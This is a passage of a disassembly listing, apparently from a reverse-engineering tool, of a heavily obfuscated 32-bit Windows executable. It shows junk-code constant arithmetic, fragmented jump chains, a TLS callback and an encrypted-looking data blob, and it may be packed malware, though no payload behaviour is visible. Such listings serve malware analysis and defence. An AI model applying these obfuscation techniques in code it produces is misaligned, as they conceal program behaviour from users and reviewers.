; END OF FUNCTION CHUNK	FOR sub_40DF72

; =============== S U B	R O U T	I N E =======================================



sub_410C99	proc near		; CODE XREF: sub_40F4F4j

var_30		= dword	ptr -30h

; FUNCTION CHUNK AT 0040644D SIZE 00000018 BYTES

		add	esp, 0FFFFFFCCh
		lea	eax, nullsub_122
		call	sub_40CD07


loc_410CA7:				; CODE XREF: _837l4vi2:0040EF49j
		jmp	loc_40644D
sub_410C99	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409CBB


loc_410CAC:				; CODE XREF: sub_409CBB+Ej
		or	eax, 3E7EB64Eh
		xor	eax, 3F61E321h
		push	offset loc_4050E1
		jmp	nullsub_162
; END OF FUNCTION CHUNK	FOR sub_409CBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40601E


loc_410CC2:				; CODE XREF: sub_40601E+AC53j
		mov	ecx, [ecx]
		and	ecx, 7
		mov	eax, 1
		shl	eax, cl
		mov	edx, [ebp-18h]
		shr	edx, 3
		mov	ecx, ds:dword_40AB9C
		movzx	edx, byte ptr [ecx+edx]
		jmp	loc_40CC45
; END OF FUNCTION CHUNK	FOR sub_40601E
; ---------------------------------------------------------------------------


loc_410CE3:				; CODE XREF: _837l4vi2:0040F0E0j
					; _837l4vi2:00410D43j
		adc	ebx, ecx
		mov	[ebp+0], eax
		adc	ecx, 0A9BB7D57h
; START	OF FUNCTION CHUNK FOR sub_4105F8


loc_410CEE:				; CODE XREF: sub_4105F8:loc_410D30j
		add	edx, 37C3905Fh
		push	ecx
		pushf
		push	87F66515h
		pop	ecx
		jmp	loc_40B55F
; END OF FUNCTION CHUNK	FOR sub_4105F8
; ---------------------------------------------------------------------------


loc_410D01:				; CODE XREF: _837l4vi2:loc_40EF12j
		mov	eax, [eax]
		call	sub_40CC86
; START	OF FUNCTION CHUNK FOR sub_40DEDE


loc_410D08:				; CODE XREF: sub_40DEDE-1AC8j
		jmp	loc_40572F
; END OF FUNCTION CHUNK	FOR sub_40DEDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_410D0D:				; CODE XREF: sub_40D735-63EFj
		jmp	loc_40E337
; END OF FUNCTION CHUNK	FOR sub_40D735
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_62. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_410D13:				; CODE XREF: _837l4vi2:0040EFF7j
		jmp	loc_40B577
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C9A5


loc_410D18:				; CODE XREF: sub_40C9A5+18j
		jmp	loc_405514
; END OF FUNCTION CHUNK	FOR sub_40C9A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A8FE


loc_410D1D:				; CODE XREF: sub_40A8FE:loc_40F0D1j
		mov	[ebp+0], edi
		pop	edi
		pop	ebp
		cmp	dword ptr [ebp-4], 0
		call	sub_40960E
; END OF FUNCTION CHUNK	FOR sub_40A8FE
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_410D2B:				; CODE XREF: sub_4078C8-126Aj
		jmp	loc_40A67E
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4105F8


loc_410D30:				; CODE XREF: _837l4vi2:00408C86j
					; sub_4105F8+4j
		jnz	loc_410CEE
; END OF FUNCTION CHUNK	FOR sub_4105F8
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_410D36:				; CODE XREF: sub_40D735-4A20j
		jmp	loc_40838B
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
		mov	eax, 0CB56523Ch
		shr	esi, 9
		jmp	loc_410CE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408F1B


loc_410D48:				; CODE XREF: sub_408F1B-3BCAj
		test	edx, 40000000h
		jmp	loc_4080E9
; END OF FUNCTION CHUNK	FOR sub_408F1B
; ---------------------------------------------------------------------------
		push	offset loc_405C42
		jmp	locret_40A4D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D32


loc_410D5D:				; CODE XREF: sub_409D32+6E5Cj
		mov	byte ptr [eax],	0
		inc	dword ptr [ebp-1Ch]
		jmp	loc_406466
; ---------------------------------------------------------------------------


loc_410D68:				; CODE XREF: sub_409D32+5584j
		inc	dword ptr [ebp-1Ch]
		jmp	loc_40C431
; END OF FUNCTION CHUNK	FOR sub_409D32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408055


loc_410D70:				; CODE XREF: sub_405CBC+5F9j
					; sub_408055:loc_40CF25j
		call	sub_40A945


loc_410D75:				; CODE XREF: _837l4vi2:0040A711j
		jmp	sub_40E739
; END OF FUNCTION CHUNK	FOR sub_408055
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF94


loc_410D7A:				; CODE XREF: sub_40DF94-558j
		jz	loc_4076C4
		jmp	loc_40F735
; END OF FUNCTION CHUNK	FOR sub_40DF94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_410D85:				; CODE XREF: sub_40C1F0:loc_408D2Aj
		xor	ebx, edx
		popf
		jmp	loc_40A22F
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; ---------------------------------------------------------------------------


loc_410D8D:				; CODE XREF: _837l4vi2:0040635Dj
		ja	loc_4076EE
		add	ebx, esi

; =============== S U B	R O U T	I N E =======================================



sub_410D95	proc near		; CODE XREF: sub_409D6B:loc_40AF9Bp

; FUNCTION CHUNK AT 00405A67 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00409FD2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040ACD0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040ED1C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040F83A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410B48 SIZE 00000006 BYTES

		mov	[esp+0], esi
		pop	esi
		add	eax, 567B38BEh
		jmp	loc_405A67
sub_410D95	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_410DA4:				; CODE XREF: sub_4078C8:loc_40D07Bj
		jnz	loc_40BE76
		jmp	loc_40D03C
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_40FD7F
		jmp	loc_40D478
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4104E3


loc_410DBC:				; CODE XREF: sub_4104E3+Cj
		jz	loc_406132
		jmp	loc_405ED5
; END OF FUNCTION CHUNK	FOR sub_4104E3
; ---------------------------------------------------------------------------
		pop	eax
		jg	loc_40F79C
		jmp	sub_40D363
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_167. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_410DD4:				; CODE XREF: sub_40E3C8:loc_409A7Ej
		xchg	eax, [esp+0Ch+var_C]
		retn
; END OF FUNCTION CHUNK	FOR sub_40E3C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_410DD8:				; CODE XREF: sub_40C1F0+6j
		jmp	loc_409EA5
; END OF FUNCTION CHUNK	FOR sub_40C1F0

; =============== S U B	R O U T	I N E =======================================



sub_410DDD	proc near		; DATA XREF: sub_40E3C8-5BD3o
		sub	eax, 88FF660Dh
		xor	eax, 6CDB6084h
		add	eax, ebp
		add	eax, 0E99485EBh
		push	offset sub_40FBA9
		jmp	nullsub_167
sub_410DDD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A050


loc_410DFB:				; CODE XREF: sub_40A050+4150j
		ja	loc_41076D


loc_410E01:				; CODE XREF: sub_40A050:loc_406482j
		call	sub_40B088
		mov	edx, 9E849D81h
		call	sub_40E739
		call	sub_407A59


loc_410E15:				; CODE XREF: _837l4vi2:0040C67Aj
		jmp	loc_408986
; END OF FUNCTION CHUNK	FOR sub_40A050
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DFF5


loc_410E1A:				; CODE XREF: sub_40DFF5-4114j
		jmp	loc_4067DA
; END OF FUNCTION CHUNK	FOR sub_40DFF5

; =============== S U B	R O U T	I N E =======================================



sub_410E1F	proc near		; CODE XREF: _837l4vi2:loc_4109C5j
					; DATA XREF: sub_4109B8+3o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004077A1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00407C30 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00408271 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040859D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CB98 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040D7E6 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0040D8C8 SIZE 00000005 BYTES

		push	edi
		push	0E432971Bh
		pop	edi
		or	edi, 9615D75Bh
		xor	edi, 35919F3h
		js	loc_40CB98


loc_410E38:				; CODE XREF: sub_4066CB+455Cj
		jmp	loc_4077A1
sub_410E1F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	esi, [ebx]
		or	ecx, 0D82DC06Dh
		jmp	loc_40CB96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C805


loc_410E4A:				; CODE XREF: sub_40C805:loc_406B20j
					; sub_40C805-2390j
		call	sub_40B088
		mov	edx, 0F75CA70h
		push	edi
		push	6537953Eh
		pop	edi
		xor	edi, 374D68F5h
		sub	edi, 1C3248F8h
		add	edi, 0C9F80F7Ch
		jmp	loc_40ED0A
; END OF FUNCTION CHUNK	FOR sub_40C805

; =============== S U B	R O U T	I N E =======================================



sub_410E72	proc near		; CODE XREF: _837l4vi2:loc_408008j
					; sub_409E44+B41p

; FUNCTION CHUNK AT 00407620 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040935B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A5CC SIZE 00000015 BYTES

		mov	[esp+0], ecx
		mov	esp, ebp
		pop	ebp
		push	0FFA364B3h


loc_410E7D:				; CODE XREF: sub_408736:loc_40CF71j
		pop	eax
		and	eax, 39E90496h
		jnz	loc_40A5CC
		pop	esi
		jmp	loc_407620
sub_410E72	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_80. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E236


loc_410E91:				; CODE XREF: sub_40E236:loc_40F5A2j
		jno	loc_406412
		shr	edx, 9
; END OF FUNCTION CHUNK	FOR sub_40E236
; START	OF FUNCTION CHUNK FOR sub_406C3E


loc_410E9A:				; CODE XREF: sub_406C3E:loc_408DD5j
		rol	eax, 3
		add	eax, 37FB4AD7h
		jmp	loc_40655B
; END OF FUNCTION CHUNK	FOR sub_406C3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41045F


loc_410EA8:				; CODE XREF: sub_41045F:loc_40D3E4j
		mov	eax, [eax]
		mov	eax, [eax]
		call	sub_405DBA


loc_410EB1:				; CODE XREF: _837l4vi2:0040C4B7j
		cmp	edx, ebp
		jmp	loc_4085B3
; END OF FUNCTION CHUNK	FOR sub_41045F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407E61


loc_410EB8:				; CODE XREF: sub_407E61:loc_407E71j
		call	sub_409CE9


loc_410EBD:				; CODE XREF: sub_405201+F4Ej
		add	edx, 0F1F7C15Ch
		test	edx, 1000000h
		jmp	loc_409417
; END OF FUNCTION CHUNK	FOR sub_407E61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408769


loc_410ECE:				; CODE XREF: sub_408769+3j
		push	esi
		xchg	esi, ecx
		mov	ecx, esi
		xchg	esi, [esp+4+var_4]
		jmp	loc_40EAA1
; END OF FUNCTION CHUNK	FOR sub_408769
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_410EDB:				; CODE XREF: sub_40966E:loc_406B10j
		cmp	ecx, 2E530DEAh


loc_410EE1:				; CODE XREF: sub_408567:loc_4090F0j
		jmp	loc_405BA1
; END OF FUNCTION CHUNK	FOR sub_40966E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4089C5


loc_410EE6:				; CODE XREF: sub_4089C5:loc_40F114j
		jnz	loc_405D9D
		jmp	loc_40ED05
; END OF FUNCTION CHUNK	FOR sub_4089C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D31D


loc_410EF1:				; CODE XREF: _837l4vi2:00407B45j
					; sub_40D31D:loc_408948j
		call	sub_40E277
; END OF FUNCTION CHUNK	FOR sub_40D31D
; START	OF FUNCTION CHUNK FOR sub_40D7F5


loc_410EF6:				; CODE XREF: sub_40D7F5-22B5j
		jmp	nullsub_170
; END OF FUNCTION CHUNK	FOR sub_40D7F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BF48


loc_410EFB:				; CODE XREF: sub_40BF48-4831j
		jmp	nullsub_171
; END OF FUNCTION CHUNK	FOR sub_40BF48
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_134. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C3AF


loc_410F01:				; CODE XREF: sub_40C3AF-612Aj
		jmp	loc_40D62D
; END OF FUNCTION CHUNK	FOR sub_40C3AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407AA4


loc_410F06:				; CODE XREF: sub_4104F4-9ABAj
					; sub_407AA4+8207j
		ror	eax, 0Dh
		pushf
		mov	[esp+10h+var_10], eax
		push	edx
		jmp	loc_40EEAE
; END OF FUNCTION CHUNK	FOR sub_407AA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F68F


loc_410F13:				; CODE XREF: sub_40F68F:loc_40F048j
		shr	edx, 16h
		and	ebx, 0F25EE519h
		jmp	loc_40503B
; END OF FUNCTION CHUNK	FOR sub_40F68F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409E44


loc_410F21:				; CODE XREF: sub_409E44:loc_41099Aj
		jnz	loc_40E913
		jmp	loc_406778
; END OF FUNCTION CHUNK	FOR sub_409E44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CEC1


loc_410F2C:				; CODE XREF: sub_40CEC1-3ED5j
		jz	loc_4098DA
		jmp	loc_4093FC
; END OF FUNCTION CHUNK	FOR sub_40CEC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_410F37:				; CODE XREF: sub_40926F+1A2Cj
		jo	loc_40F3AA
; END OF FUNCTION CHUNK	FOR sub_40926F
; START	OF FUNCTION CHUNK FOR sub_40B859


loc_410F3D:				; CODE XREF: sub_40601E+2j
					; sub_40601E+1410j ...
		mov	ecx, [ebp-14h]
		and	ecx, 7
		mov	al, 1
		shl	al, cl
		push	2762CE40h
		pop	edx
		add	edx, 2E4129AFh
		jmp	loc_40798C
; END OF FUNCTION CHUNK	FOR sub_40B859
; ---------------------------------------------------------------------------
		test	eax, ecx
		jmp	loc_40CEAF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE2D


loc_410F5F:				; CODE XREF: sub_40AE2D+158j
		add	ecx, 677D67h
		xchg	ecx, [esp+0]
		jmp	sub_40BF48
; END OF FUNCTION CHUNK	FOR sub_40AE2D
; ---------------------------------------------------------------------------
		sbb	ebx, 4422C4E9h
		jmp	sub_4077E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A8FE


loc_410F78:				; CODE XREF: sub_40A8FE+24Fj
		push	edi
		push	5F9AD515h
		pop	edi
		xor	edi, 0AAE9AF0Ah
		add	ebp, edi
		jmp	loc_407E22
; END OF FUNCTION CHUNK	FOR sub_40A8FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DFF5


loc_410F8C:				; CODE XREF: sub_40DFF5-7D8Dj
		xor	edx, [ebx+ecx+4]
; END OF FUNCTION CHUNK	FOR sub_40DFF5
; START	OF FUNCTION CHUNK FOR sub_40C099


loc_410F90:				; CODE XREF: sub_40C099:loc_40AA1Dj
		cmp	edx, 7C61090Eh
		jz	loc_40C70D


loc_410F9C:				; CODE XREF: sub_40DFF5-8DB8j
					; sub_40DFF5-7D96j ...
		jno	loc_40A9DF
		or	eax, eax
		jz	loc_40C70B
		cmp	eax, 0FFFFFFFFh
		jmp	loc_40AFA0
; END OF FUNCTION CHUNK	FOR sub_40C099
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_410FB2:				; CODE XREF: sub_40833D+538Dj
		jns	loc_409250
		jmp	loc_40E6FC
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------


loc_410FBD:				; CODE XREF: _837l4vi2:00409C7Fj
		rol	ebx, 6
		add	ebx, 55B9808h
		xor	ecx, ebx
		mov	ebx, offset sub_40EEC8
		xchg	ebx, [esp]
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F31D


loc_410FD1:				; CODE XREF: sub_40F31D+7j
		jmp	loc_409732
; END OF FUNCTION CHUNK	FOR sub_40F31D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405F85


loc_410FD6:				; CODE XREF: sub_405F85:loc_40B055j
		jmp	loc_40DD20
; END OF FUNCTION CHUNK	FOR sub_405F85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CDE9


loc_410FDB:				; CODE XREF: sub_40CDE9:loc_40D3E9j
		add	esi, 7D51C2C1h
		mov	esi, [esi]
		xchg	esi, [esp+4+var_4]
		retn
; END OF FUNCTION CHUNK	FOR sub_40CDE9
; ---------------------------------------------------------------------------
		test	eax, edx
		jmp	loc_40EE87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF72


loc_410FEE:				; CODE XREF: sub_40DF72:loc_40FEF9j
		jnz	loc_409E6D
		jmp	loc_40DF40
; END OF FUNCTION CHUNK	FOR sub_40DF72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_410FF9:				; CODE XREF: sub_40AA44-8EBj
		jo	loc_40EDEF
		or	ebx, 662C9971h
		rol	edi, 14h


loc_411008:				; CODE XREF: sub_40AA44:loc_40C863j
		call	nullsub_3
		jmp	locret_405934
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------


loc_411012:				; CODE XREF: _837l4vi2:00406983j
		or	ecx, 28D44909h
; START	OF FUNCTION CHUNK FOR sub_4108AF


loc_411018:				; CODE XREF: sub_4108AF:loc_40B0DEj
		rol	ecx, 12h
		add	ecx, 0D10BAC22h
		xchg	ecx, [esp+4+var_4]
		jmp	sub_409926
; END OF FUNCTION CHUNK	FOR sub_4108AF
; ---------------------------------------------------------------------------
		sbb	edx, 4B66BACCh
		mov	esi, [ebx]
		jmp	sub_4052A5
; ---------------------------------------------------------------------------
		dw 90AFh
dword_411038	dd 418456BEh	dword_41103C	dd 0							; sub_40F9B3r
dword_411040	dd 0							; sub_40E294+4r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406ADC


loc_411044:				; CODE XREF: sub_406ADC+13CCj
		jmp	loc_40673D
; END OF FUNCTION CHUNK	FOR sub_406ADC
; ---------------------------------------------------------------------------
		db 0D0h, 99h, 0E9h
dword_41104C	dd 2008731Fh						; sub_407A59:loc_40E7AFw
dword_411050	dd 2785F20Ch						; sub_40DCDD+4r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B89B


loc_411054:				; CODE XREF: sub_40B89B+451Ej
		jmp	sub_40A222
; END OF FUNCTION CHUNK	FOR sub_40B89B

; =============== S U B	R O U T	I N E =======================================



sub_411059	proc near		; CODE XREF: _837l4vi2:004084BFj
					; _837l4vi2:0040BE58p

; FUNCTION CHUNK AT 0040F80D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FDDC SIZE 0000001F BYTES

		mov	[esp+0], edx
		pop	edx
		push	ebp
		mov	ebp, eax
		jmp	loc_40F80D
sub_411059	endp

; ---------------------------------------------------------------------------
		ja	loc_408A21
		jmp	sub_409127
; ---------------------------------------------------------------------------


loc_411070:				; DATA XREF: _837l4vi2:loc_40A038o
		xchg	ebx, [esp]
		pushf
		push	0BEFA1AA0h
		pop	eax
		sub	eax, 72542086h
		jmp	loc_40E80E

; =============== S U B	R O U T	I N E =======================================



sub_411085	proc near		; CODE XREF: sub_40A29A:loc_40A2A5j

; FUNCTION CHUNK AT 0040EDAE SIZE 00000005 BYTES

		push	ebx
		xchg	eax, ebx
		call	sub_409926
		push	offset sub_40A58E
		jmp	loc_40EDAE
sub_411085	endp

; ---------------------------------------------------------------------------


loc_411097:				; DATA XREF: sub_406C77+2D00o
		mov	esp, ebp
		pop	ebp
		push	offset loc_40C780
		jmp	locret_40976B
; ---------------------------------------------------------------------------
TlsDirectory	dd 0
TlsEnd_ptr	dd 0
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsCallbacks
TlsSizeOfZeroFill dd 0
TlsCharacteristics dd 0
TlsIndex	dd 0			; DATA XREF: _837l4vi2:TlsIndex_ptro
TlsCallbacks	dd offset TlsCallback_0	; DATA XREF: _837l4vi2:TlsCallbacks_ptro
		dd 0
		dd 850D8BA9h, 0C6E07499h, 5B71EFF4h, 9F7FA03Fh,	0BB832EAAh
		dd 613D1AF7h, 2C3F0899h, 286A488Dh, 118559CAh, 16E6208Ch
		dd 0D9184477h, 0BD104243h, 34F44522h, 0E895499h, 57765667h
		dd 501FF6FFh, 919EE07Eh, 7BC90FAh, 839C80A3h, 5F305583h
		dd 260AB8E1h, 8824E1C4h, 182C681Dh, 2D626654h, 7CCB857h
		dd 0AE345F99h, 0BB95E371h, 0C59FB159h, 8F8F5B4Eh, 10D3BFF7h
		dd 3A3A5C00h, 0BF7405C3h, 3A59487Ah, 0C7A2B7Ah,	735E682Ah
		dd 267B30E9h, 0A081B9EDh, 20FB557Fh, 0DE008A58h, 0BCA2C546h
		dd 0EBC48EB5h, 3DB4FCFh, 0B9ACF844h, 64AA4D49h,	9F2081C4h
		dd 3B1172C9h, 61CA0CE4h, 0CDC288BCh, 1BF8A2EAh,	64ABAF16h
		dd 8C63CDF7h, 0D2CC0A0Bh, 5DD555Eh, 0A1B0366Fh,	0E13433CBh
		dd 360C04BCh, 8D57429Eh, 0AA6AA594h, 1FF610ACh,	7665209Fh
		dd 3C2F2ED7h, 0ECC6A1F9h, 42C3E7B1h, 543A2888h,	0D2FACA8Ch
		dd 4FAEAC94h, 9784C341h, 0C59DA753h, 0BAD2D0DDh, 53F8C098h
		dd 0CD620D98h, 0DD08E259h, 5CA1300Ah, 7509590Dh, 0EA827507h
		dd 0B8FBD9F9h, 0DA1928C7h, 169829A9h, 380h dup(0)
_837l4vi2	ends

; Section 3. (virtual address 00012000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00012000
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_52zm3c3w	segment	para public 'DATA' use32
		assume cs:_52zm3c3w
		;org 412000h
		dd 5000h, 64h, 301F3008h, 311830C4h, 3181313Ch,	31BF3186h
		dd 32673223h, 33D33339h, 34C53476h, 356934FFh, 35FC3579h
		dd 373A370Ah, 38073785h, 38CF389Bh, 39783921h, 3A313A07h
		dd 3B523A42h, 3BD13B78h, 3C983C67h, 3D013CF2h, 3D933D06h
		dd 3E2D3E03h, 3EA63E8Fh, 3F3B3F00h, 3FBDh, 6000h, 58h
		dd 30643031h, 3074306Eh, 310530F2h, 328B3216h, 32F932E2h
		dd 3377336Ah, 3459341Eh, 34DD346Ch, 360B35EBh, 3648361Fh
		dd 368B364Dh, 375D36AAh, 3794376Fh, 37E537C6h, 384A383Ch
		dd 39033874h, 39A1392Ch, 3A723A5Ah, 3C303B2Dh, 3CC3h, 7000h
		dd 70h,	32063188h, 327E3258h, 332A32B9h, 335B334Dh, 347C337Eh
		dd 34B834B3h, 34D834C2h, 35B03589h, 36D935C5h, 3713370Dh
		dd 3738371Eh, 37583744h, 386437BEh, 39B139A3h, 39C139B6h
		dd 3A0939FAh, 3B3B3B18h, 3B503B4Bh, 3BB73B5Ah, 3CBD3C24h
		dd 3D483CDEh, 3DAA3D9Ah, 3E013DF7h, 3EB63E0Bh, 3F7C3F1Ah
		dd 3FE0h, 8000h, 78h, 3108304Ch, 31293115h, 317B3168h
		dd 325A3198h, 331E32E8h, 33DD33C5h, 3471340Ah, 352C3480h
		dd 356F355Dh, 36293584h, 36DA364Ch, 37183704h, 373F3722h
		dd 37F63751h, 384A3834h, 38BB38A0h, 396D38E2h, 39883976h
		dd 3A6B3A66h, 3AF43ABFh, 3B363AFEh, 3BBB3B3Fh, 3D683CE6h
		dd 3DF13D89h, 3E7F3E13h, 3E9B3E8Eh, 3F573EE2h, 3F6Ch, 9000h
		dd 8Ch,	3068303Bh, 309D3081h, 3155313Ch, 321F3164h, 32453235h
		dd 3316330Bh, 33693331h, 33B6338Bh, 340233BEh, 345E3437h
		dd 34FE3463h, 356A3512h, 35923577h, 362335DEh, 36B636A7h
		dd 37623716h, 385F37E8h, 387F3874h, 38F338C2h, 3927390Ch
		dd 3978394Bh, 39C839B8h, 3A4C3A0Fh, 3B163A51h, 3BC23B25h
		dd 3C603BD5h, 3CAF3C9Fh, 3D263CF2h, 3E7E3E1Ah, 3EC93EAEh
		dd 3F313F2Ch, 3F503F41h, 3FF83FF2h, 0A000h, 80h, 30393023h
		dd 30DF309Bh, 31913118h, 32433226h, 32EF32ADh, 333E3309h
		dd 33FA33D3h, 34AF3432h, 350B3506h, 35BE3558h, 35EE35CEh
		dd 36573613h, 36753662h, 370A369Bh, 3734371Fh, 37C03763h
		dd 39263815h, 39C93936h, 3A8339E8h, 3AE83AB0h, 3BDE3B68h
		dd 3C7A3C1Bh, 3D8C3D34h, 3DF43DC1h, 3EE03EB5h, 3EF53EEBh
		dd 3F163F08h, 3F2A3F1Bh, 3FD03F52h, 3FFEh, 0B000h, 54h
		dd 30293003h, 30703039h, 312B309Ch, 31803152h, 321331ECh
		dd 334332FFh, 341433DCh, 353C345Dh, 3652355Ah, 36843663h
		dd 370536ABh, 383E37ABh, 38813849h, 38B038A5h, 38F438C9h
		dd 3E3C395Ch, 3ED83EBEh, 3F1B3F09h, 3F703F50h, 0C000h
		dd 78h,	30253017h, 310A30ACh, 31C4311Dh, 3259321Dh, 32913264h
		dd 333E32B3h, 354433EDh, 355F3556h, 362E3610h, 36FB369Ah
		dd 37443726h, 37C03782h, 380A37DEh, 3885382Ch, 38AB3899h
		dd 38FF38B7h, 39273916h, 3970395Ch, 3A7B39E2h, 3C403B9Ah
		dd 3C9E3C54h, 3DCF3CF3h, 3E483DDAh, 3E6B3E4Eh, 3EDA3E9Ch
		dd 3F683EF8h, 3FD03F88h, 3FEAh,	0D000h,	98h, 30A9300Dh
		dd 30DE30BEh, 313A30E5h, 31C13198h, 322C3209h, 3281325Ah
		dd 32E232AEh, 32F932EFh, 33B13341h, 33D733D1h, 3505345Ch
		dd 3539352Ah, 354D353Eh, 35713564h, 361835B4h, 370936B0h
		dd 377D372Ch, 37B437A4h, 382337EBh, 38D038A1h, 38F838ECh
		dd 390F38FFh, 394C3922h, 39B739A1h, 39EC39CAh, 3A7D3A09h
		dd 3BF13BBAh, 3C4F3C1Ch, 3CB03C9Fh, 3CD13CC2h, 3D583CE3h
		dd 3D953D70h, 3E043DD5h, 3E8E3E13h, 3F9D3F53h, 3FC3h, 0E000h
		dd 74h,	30553027h, 30C730A4h, 313B3128h, 31AC31A7h, 329A327Dh
		dd 331732BCh, 33F33352h, 346F344Fh, 34FD34D5h, 352C350Eh
		dd 359E3540h, 35CD35B2h, 362835FAh, 36EB36ABh, 373036F3h
		dd 37B1377Ch, 391838E5h, 39EE392Fh, 3A983A4Dh, 3BF63AEBh
		dd 3C543C23h, 3CB23C83h, 3CFD3CB7h, 3DB43D11h, 3E363E12h
		dd 3F1F3EBCh, 3FC3h, 0F000h, 78h, 301D300Fh, 30AB3036h
		dd 325030B2h, 32FC32E8h, 33783310h, 3418337Dh, 3479343Ch
		dd 34923488h, 34FF34CDh, 35B23550h, 362F35E5h, 3686366Eh
		dd 36EE36AAh, 37E537CDh, 38773819h, 393C3894h, 39B53962h
		dd 3A893A0Ah, 3AE73AB7h, 3B0C3AF8h, 3B843B44h, 3C173BB3h
		dd 3CA33C35h, 3D033CD1h, 3DD03DB1h, 3E1D3E12h, 3E913E34h
		dd 3F3B3F36h, 10000h, 74h, 30A83082h, 322730F2h, 32443231h
		dd 32643250h, 32A23293h, 32CB32B1h, 33A43353h, 33F833AFh
		dd 349D3414h, 350234C9h, 354B3526h, 361D3580h, 36EB36BCh
		dd 373B3701h, 37F837ECh, 381F380Ch, 38493843h, 394838CCh
		dd 39A33990h, 39BC39AFh, 3A893A6Eh, 3C0F3BFFh, 3C9E3C4Dh
		dd 3CD63CB9h, 3DF23D54h, 3E9F3E69h, 3FC93F61h, 11000h
